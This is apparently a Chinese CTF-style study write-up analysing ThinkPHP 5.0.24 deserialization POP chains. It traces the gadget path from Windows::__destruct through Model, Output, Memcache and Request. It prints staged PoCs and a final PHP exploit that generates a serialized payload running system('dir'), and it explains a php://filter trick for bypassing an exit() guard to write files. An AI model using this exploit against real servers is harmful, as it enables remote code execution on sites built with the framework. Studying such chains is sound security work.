理解在此前公开的反序列化链
不仅仅是学pop链,更是学习框架调试
5.0.24反序列化漏洞分析
开发人员在写程序时会极力的避免安全问题的发生,所以CTF中通过一个Class文件来进行反序列化的操作几乎时不可能存在的
实际开发在类中很少用到魔术方法等“危险函数”,但我学完这道题后有了一个体悟——“危险函数”,凑一凑总会有的
提到的wp地址:https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/Thinkphp-5.0.24-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html
thinkphp5.0.24魔术方法及位置
__destruct()
析构函数只在对象被垃圾收集器收集前(从内存中删除之前)才会被自动调用。
可以理解为对象用完之前调用
一共有这些
按现有的wp,反序列化链子用了thinkphp\library\think\process\pipes\Windows.php
下的__destruct()
__call()
调用的方法不存在时会自动调用,程序会继续执行下去。
__call()
比较多,按wp选择Output.php,thinkphp\library\think\console\Output.php
因为其中的block可以当作跳板
最终执行的是Request中的__call()
__toString()
格式化输出这个对象所包含的数据,当对象被当作字符串执行时使用
__toString()
也不多,wp中使用了Model类,thinkphp\library\think\Model.php
至此wp中提到的魔术方法位置全部分析完毕,接着直接分析思路
thinkphp5.0.24反序列化链分析
跟进 __destruct()
按wp的思路,首先跟进__destruct()
,thinkphp\library\think\process\pipes\Windows.php
public function __destruct()
{
$this->close(); // 关闭
$this->removeFiles(); // 指向removeFiles方法
}
removeFiles()
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) { // 遍历files数组
if (file_exists($filename)) { // 判断文件是否存在
@unlink($filename); // 关闭文件连接-删除文件
}
}
$this->files = []; // 清空 files数组
}
其中file_exists()函数可以调用__toString()
方法,所以下一步要看看那个__toString()
方法可以调用
__toString()
这一步我卡了好久,一直没有明白是怎么调进thinkphp\library\think\Model.php
的__toString()
直到我看了poc
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
搜索Pivot() ,找到thinkphp\library\think\model\Pivot.php
Pivot类继承了Model类,所以只要将文件名设为Pivot的实例对象,框架就会调用进Model中的__toString()
toJson()
接下来__toString()
指向了toJson()方法,继续跟进
到这里为止poc可以这样写
<?php
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes{} // Windows对此进行了继承,所以需要写一下
class Windows extends Pipes{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
/*Pivot类继承了Model类,所以files引用Pivot实例会跳转Model类的toString*/
}
}
//调用至Model类
namespace think;
class Model{}
namespace think\model;
use think\Model;
class Pivot extends Model{}
//输出exp
namespace think;
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
成功调用到toArray()方法
toArray()
接着继续跟进toArray()
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation); // 合并data数组和relation数组
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array)); // 使用键名比较计算数组的交集
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array)); // 交換數組鍵和值后用建比較數組的差集
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
代码很多,这里我也没什么号的思路,wp是以目标来进行倒推
因为最终的目标是__call()
,所以需要去找存在函数调用的点,并寻找那个调用可控
可以找到三个发生了方法调用的点
追踪过去,发现只有第三个可控
调用条件可以根据代码得知
需要满足的条件是
if (!empty($this->append))
if (method_exists($this, $relation))
if (method_exists($modelRelation, 'getBindAttr'))
if ($bindAttr)
且不满足
if (is_array($name))
elseif (strpos($name, '.'))
if (isset($this->data[$key]))
然后分析$value的执行过程
protected $append = []; // 定义数组append
foreach ($this->append as $key => $name) {...} // 遍历,获取值为$name
$relation = Loader::parseName($name, 1, false); //解析name
if(method_exists($this, $relation)){...} // 判断$relation方法是否存在
$modelRelation = $this->$relation(); // 调用该方法
$value = $this->getRelationData($modelRelation); // 获取$value
$item[$key] = $value ? $value->getAttr($attr) : null; // 进行判断
可知想得到可控的$value,必须使$modelRelation可控
而modelRelation调用了relation,并最终调用数组append
数组append可控*
还需要modelRelation可控,可以将$modelRelation设为getError
protected $error = []; // error可控
public function getError()
{
return $this->error;
}
getRelationData(Relation $modelRelation)
我的最终目的是可以通过$value去Output类的__call
方法
所以返回的$value应是一个不存在的方法
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
在跳转的这个方法中,第一条if语句是可控的,可以调用到Output类,条件
$this->parent // 存在parent
/*写就有,目标也肯定是Output类*/
&&!$modelRelation->isSelfRelation() // $modelRelation 不为isSelfRelation方法
/*无关紧要*/
&&get_class($modelRelation->getModel()) == get_class($this->parent) // parent的类名与$modelRelation指向结果类名一致
/*
* get_class($this->parent) == think\console\Output
* get_class($modelRelation->getModel())
*/
getModel()
该方法完成了一次调用,跳至thinkphp/library/think/db/Query.php
的getModel方法
geModel() // Query类
返回一个model,其中model是可控的
按照上面的条件
get_class($modelRelation->getModel()) == get_class($this->parent)
只需要使Relation类中query指向Query类,Query中model指向Output类即可
此时需要用到之前提到的数组error,该类完整的调用关系应该是
$modelRelation->query->->model;
//注意$modelRelation条件
method_exists($modelRelation, 'getBindAttr') && !isset($this->data[$key])
所以要将$modelRelation 赋值为一个可以调用query,或者说和Relation类有关系且存在getBindAttr的对象,并且Relation是抽象类,所以优先找子类
搜索后发现:
model下有个名为OneToOne的抽象类继承了Relation类
抽象类不能被实例化,所以找OneToOne的子类
这里有两个子类,随便一个应该都可以,这里我想和wp区分开,所以我用BelongsTo类
protected $error = [new BelongsTo()];
此时应该可以进入Output类
<?php
//调用至Model类
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
class Model{
protected $append = [];
public $parent; // 对parent的调用出了子类,所以需要改为public
protected $error;
public function __construct(){
$this->error = new BelongsTo();
$this->append = ["getError"];
$this->parent = new Output();
}
}
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes{} // Windows对此进行了继承,所以需要写一下
class Windows extends Pipes{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
/*Pivot类继承了Model类,所以files引用Pivot实例会跳转Model类的toString*/
}
}
// Pivot类
namespace think\model;
use think\Model;
class Pivot extends Model{}
//调用Output类
namespace think\console;
class Output{}
//调用Query类(Relation前置)
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
// 调用Relation类(Model的条件判断)
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $query;
public function __construct()
{
$this->query = new Query(); // 调用向Query,完成函数
}
}
////调用继承了Relation的子类
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{}
//调用继承了OneToOne的子类
namespace think\model\relation;
class BelongsTo extends OneToOne{
public function __construct()
{
parent::__construct();
$this->bindAttr = ["no","123"]; // 使bindAttr值存在
}
}
//输出exp
namespace think;
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
class Output __call()
在这里进了__call
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args); //调用回调函数,并把一个数组参数作为回调函数的参数
/*把第一个参数作为回调函数调用,把参数数组(第二个参数)作为回调函数的的参数传入。*/
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
所以这里调用了block方法,继续跟上去
block()
//block
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
//跟进writeln
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
//跟进write
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
/*
*private $handle = null; handle可控
*/
到这里再跟下去没有意义,因为handle可控,所以直接全局搜write方法,寻找利用点
可以找到/thinkphp/library/think/session/driver/Memcached.php
这里handle仍然可控,所以开始全局搜set()方法
File.php
一个一个找下去,可以找到一个写入文件的类
这里我认为可能存在文件写入来造成rce,不过截止目前我并没有想到绕过的方法
反而收获一个小技巧
绕过“死亡”exit
在$data可控的前提下,这里可以进行任意文件的写入,但程序运行到exit就会终止,所以程序本身的exit()过滤掉
这个技巧可以看P牛的文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html
简单来说只是用到了base64的一点小技巧
base64执行过分可以分为两步
1、将不属于base64编码的字符“处理”掉
2、解码处理后的base64字符串
若$data可控,那么就可以将要执行的代码进行base64编码后写入文件
然后用php特有的php://filter 协议以base64-decode的形式读取,这样程序自己写入的<?php exit();?>
就会被解释为乱码,而我们自己写入的内容被正常解析,这样就达到了上传恶意文件的目的
不过显然这一步没法利用,但之后可以
filename可控
言归正传,想直接getshell的美妙想法大概是凉凉了,所以继续学习wp
除了$expire外,$filename同样可控
跟进getCacheKey()
CacheKey()
protected function getCacheKey($name, $auto = false)
{
$name = md5($name); // 先将传入的name值md5编码
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php'; // options可控,文件路径可控
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
//创建文件夹,权限755
mkdir($dir, 0755, true);
}
return $filename;
}
这里可以创建一个具有读写权限的路径便于写入的shell执行一些操作
setTagItem()
回到File.php,在文件创建成功后会进行一次判断,
跟进setTagItem()
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag); // tag可控,故key可控
$this->tag = null; //重置tag
if ($this->has($key)) {
$value = explode(',', $this->get($key)); //将字符串key转为数组
$value[] = $name; // 在开头加上$name
$value = implode(',', array_unique($value)); //将数组转回字符串
} else {
$value = $name;
}
$this->set($key, $value, 0); //重新进入set
}
}
当重新进入set()方法后,$name, $value值就存在了,而且都可控
此时再次调用进上面的方法,文件就成功写入了
至此thinkphp5.0.24的第一条pop链就利用完毕了
注: windows不能使用这条链进行rce
因为windows文件夹不允许绕过exit所使用的名称
而Linux没有直接限制,故这条链在windows环境只能写目录,而Linux环境可以getshell
POC 创建目录
<?php
//abstract class Driver
namespace think\cache;
abstract class Driver{}
//class File extends Driver
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => "./aaaaa/",
'data_compress' => false,
];
}
//class Memcache extends SessionHandler
namespace think\session\driver;
use SessionHandler;
use think\cache\driver\File;
class Memcache extends SessionHandler {
protected $handler = null;
public function __construct()
{
$this->handler = new File();
}
}
//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
protected $styles = ['getAttr'];
private $handle = null;
public function __construct()
{
$this->handle = new Memcache();
}
}
//class Query
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $query;
public function __construct()
{
$this->query = new Query();
}
}
//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
public function __construct()
{
parent::__construct();
/**
* 这里我本来也看的莫名奇妙
* 直到我翻文章看到一句话
* 三重继承的时候,最顶端的类的 __construct() 不会自动调用
* 经过我自己的测试,是真的
*/
$this->bindAttr = ['no','123'];
}
}
//class BelongsTo extends OneToOne
class BelongsTo extends OneToOne{}
//abstract class Model
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->parent = new Output();
$this->error = new BelongsTo();
$this->append = ["getError"];
}
}
// class Pivot extends Model
namespace think\model;
use think\Model;
class Pivot extends Model{}
//class Pipes
//class Windows extends Pipes
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\process;
use think\process\pipes\Windows;
$Windows = new Windows();
echo base64_encode(serialize($Windows));
三重继承,最顶端的类的 __construct() 不会自动调用
<?php
abstract class Relation{
protected $query;
public function __construct()
{
$this->query = "query";
}
}
abstract class OneToOne extends Relation {
protected $bindAttr = null;
public function __construct()
{
parent::__construct(); // 父构造器继承
$this->bindAttr = "bindAttr";
}
}
class BelongsTo extends OneToOne{
public function getQuery(){
echo $this->query;
}
public function getBindAttr(){
echo $this->bindAttr;
}
}
$BelongsTo = new BelongsTo();
echo $BelongsTo->getBindAttr(),"\n";
echo $BelongsTo->getQuery();
注释父类构造调用
最顶层query没有调用
不注释父类构造调用
最顶层query调用成功
我就说调试怎么总在这里跳到错误页面
思维导图
revengephp rce 链
上面那条有人已经挖到了windows环境下反序列化的方法,这个就不赘述了,接下来直接分析revengephp的rce链
这里模拟真实情况从后往前进行一次分析
原文地址https://igml.top/2021/09/28/2021-0CTF-FINAL/
调用已知终点
根据文章,已知rce终点为:private function filterValue(&$value, $key, $filters)
位于thinkphp/library/think/Request.php中
这里我们需要一个可控$filter的方法,已经调用了filterValue()的方法来让我们进行下一步操作
调用filterValue()时前提条件,所以我们先全局搜索找到调用了filterValue()方法的位置
只有两个,那就没其他的选择,
其中input中还调用了getFilter()方法,可以对$filter赋值
protected $filter;
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter; // 这里可控
}
cookie()方法没有调用点,直接排除
阶段poc
namespace think;
class Request{
protected $filter;
public function __construct()
{
$this->filter = "system";
}
}
public function input()
接着找可以调用input()的位置
这里就很多了,不过最后选择get()
因为这些能调用input()的方法仍然没有一个可以调出去,但记下位置进行查找,会发现get()可以被任意调用
可控调用多的一匹,真是幸福的烦恼
这里有个很熟悉的地方
眼熟吗?成功调进上一条链子,可控的都是handler
阶段poc
//class Request 执行终点
namespace think;
class Request{
protected $filter;
public function __construct()
{
$this->filter = "system";
}
}
//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
protected $handler = null;
public function __construct()
{
$this->handler = new Request();
}
}
//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}
至于为什么选择has()方法,set()指向了has(),而上一条链中间刚好指向了set()
这里指向了set()
注意,这里实际上并不是上一条链的Memcache.php,只是有着相同的类名
这里的Memcache位于thinkphp/library/think/cache/driver/Memcache.php
上一条位于thinkphp/library/think/session/driver/Memcache.php
所以从上一条该位置接过来,这条rce链就完成了
阶段poc
//class Request 执行终点
namespace think;
class Request{
protected $filter;
public function __construct()
{
$this->filter = "system";
}
}
//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
protected $handler = null;
public function __construct()
{
$this->handler = new Request();
}
}
//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}
//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
protected $handler = null;
public function __construct()
{
$this->handler = new \think\cache\driver\Memcache();
}
}
//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
public function __construct()
{
$this->handle = new Memcache();
}
}
从起点找调用位置
虽说上面其实已经可以去接poc了,不过我还是按正常逻辑分析一次
首先需要明确
找反序列化的过程都分为两个,一个是找起点,一个是找终点
这条链是假设在找到了终点的情况下去逆推调用起点
终点:
在反序列化中,最终用来执行我们目录的位置是终点
起点:
程序最初必然调用的点是起点
简单来说:我们自然可以直接new 一个类去调用,但直接调用类不一定会调用进相应的方法,所以起点就是只要程序执行,就必然会调用的那个类,比如:
__destruct()
,__wake()
等,偶尔也可以直接用__call()
等方法总而言之,起点即为web应用类中必然执行的方法
在这两条链中,起点是thinkphp/library/think/process/pipes/Windows.php 下的__destruct()
方法
所以首先是Windows
后面就一样了
阶段poc
//class Request 执行终点
namespace think;
class Request{
protected $filter;
public function __construct()
{
$this->filter = "system";
}
}
//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
protected $handler = null;
protected $tag;
public function __construct()
{
$this->tag = true;
$this->handler = new Request();
}
}
//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}
//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
protected $handler = null;
public function __construct()
{
$this->handler = new \think\cache\driver\Memcache();
}
}
//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = ['getAttr'];
public function __construct()
{
$this->handle = new Memcache();
}
}
// TODO 断点
//class Query 指向Output
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $query;
public function __construct()
{
$this->query = new Query();
}
}
//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation {
protected $bindAttr = [];
public function __construct()
{
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
//class BelongsTo extends OneToOne
namespace think\model\relation;
class BelongsTo extends OneToOne{}
//abstract class Model 指向Output类__call()
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
protected $error;
protected $append = [];
protected $parent;
public function __construct()
{
$this->append =['getError'];
$this->error = new BelongsTo();
$this->parent = new Output();
}
}
//class Pivot extends Model 继承Model,通过此类调用进Model
namespace think\model;
use think\Model;
class Pivot extends Model{}
//abstract class Pipes Windows继承类
namespace think\process\pipes;
abstract class Pipes{}
//class Windows extends Pipes 起点类 指向Pivot类
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
$Windows = new Windows();
echo base64_encode(serialize($Windows));
exp
最终exp还要修改几个小点才可以调用成功,这里是我漏的几点分析
其实就是Request中input的一处判断问题
exp分析(补)
Request中get赋值问题
如果用阶段poc打,会在如图所示的位置出问题
在Request.php中调用get()方法时,如果get值为空,则会自动调用传入的get,导致get变成$_GET传入值
并如下图所示传给input()
并会造成getinput()中if语句不能成功匹配,导致rce链中断
所以需要给get赋值
isset($data[$val]
先随便赋值看看下一个问题
上一个问题点成功绕过
下个问题点
显然,$data[$val]这个齐齐怪怪的东西在$data中不存在,$data就是传入的get数组
所以:**$val的值等于传入get数组的key值**
然后再下图处完成$filter的赋值
而在下面**$this->filterValue($data, $name, $filter);
$data(传入get数组的value值)做为参数&$value传入**
并在终点执行
这里的foreach 告诉我们,传入的filter最好为数组,不过调试时我发现框架会自己吧字符串变成数组,所以这里无所谓数组字符串
言归正传
说了这么多,我就是想说,别把$data浪费了,所以get = [合法 $val(key)=> system函数参数(value)]
于是
get = ['"<getAttr>no<' => 'dir']; //【手动滑稽】
苟是苟了点,不过它不烧脑
这不就过去了
好吧我们正经一点,按gml大佬写的来
在这个位置,框架以 /
为分界,将$name划为数组【就是上面的<getAttr>no</getAttr>
】
而在Driver类的getCacheKey处可以控制$name,将options[‘prefix’] ,拼接到$name前面
所以 我们可以让options['prefix'] = xxx/
,这样$val就会成为写入的xxx
然后设置get = ['xxx' => 'dir']
,就可以解决第二个问题
$this->get = ['atmujie'=>'dir'];
$this->options = ['prefix'=>'atmujie/'];
这样写不就优雅多了
执行成功
最终exp
<?php
//class Request 执行终点
namespace think;
class Request{
protected $filter;
protected $get = [];
public function __construct()
{
$this->get = ['atmujie'=>'dir'];
$this->filter = "system";
}
}
//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
protected $handler = null;
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = true;
$this->handler = new Request();
$this->options = ['prefix'=>'atmujie/'];
}
}
//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}
//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
protected $handler = null;
public function __construct()
{
$this->handler = new \think\cache\driver\Memcache();
}
}
//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = ['getAttr'];
public function __construct()
{
$this->handle = new Memcache();
}
}
// TODO 断点
//class Query 指向Output
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $query;
public function __construct()
{
$this->query = new Query();
}
}
//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation {
protected $bindAttr = [];
public function __construct()
{
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
//class BelongsTo extends OneToOne
namespace think\model\relation;
class BelongsTo extends OneToOne{}
//abstract class Model 指向Output类__call()
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
protected $error;
protected $append = [];
protected $parent;
public function __construct()
{
$this->append =['getError'];
$this->error = new BelongsTo();
$this->parent = new Output();
}
}
//class Pivot extends Model 继承Model,通过此类调用进Model
namespace think\model;
use think\Model;
class Pivot extends Model{}
//abstract class Pipes Windows继承类
namespace think\process\pipes;
abstract class Pipes{}
//class Windows extends Pipes 起点类 指向Pivot类
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
$Windows = new Windows();
echo base64_encode(serialize($Windows));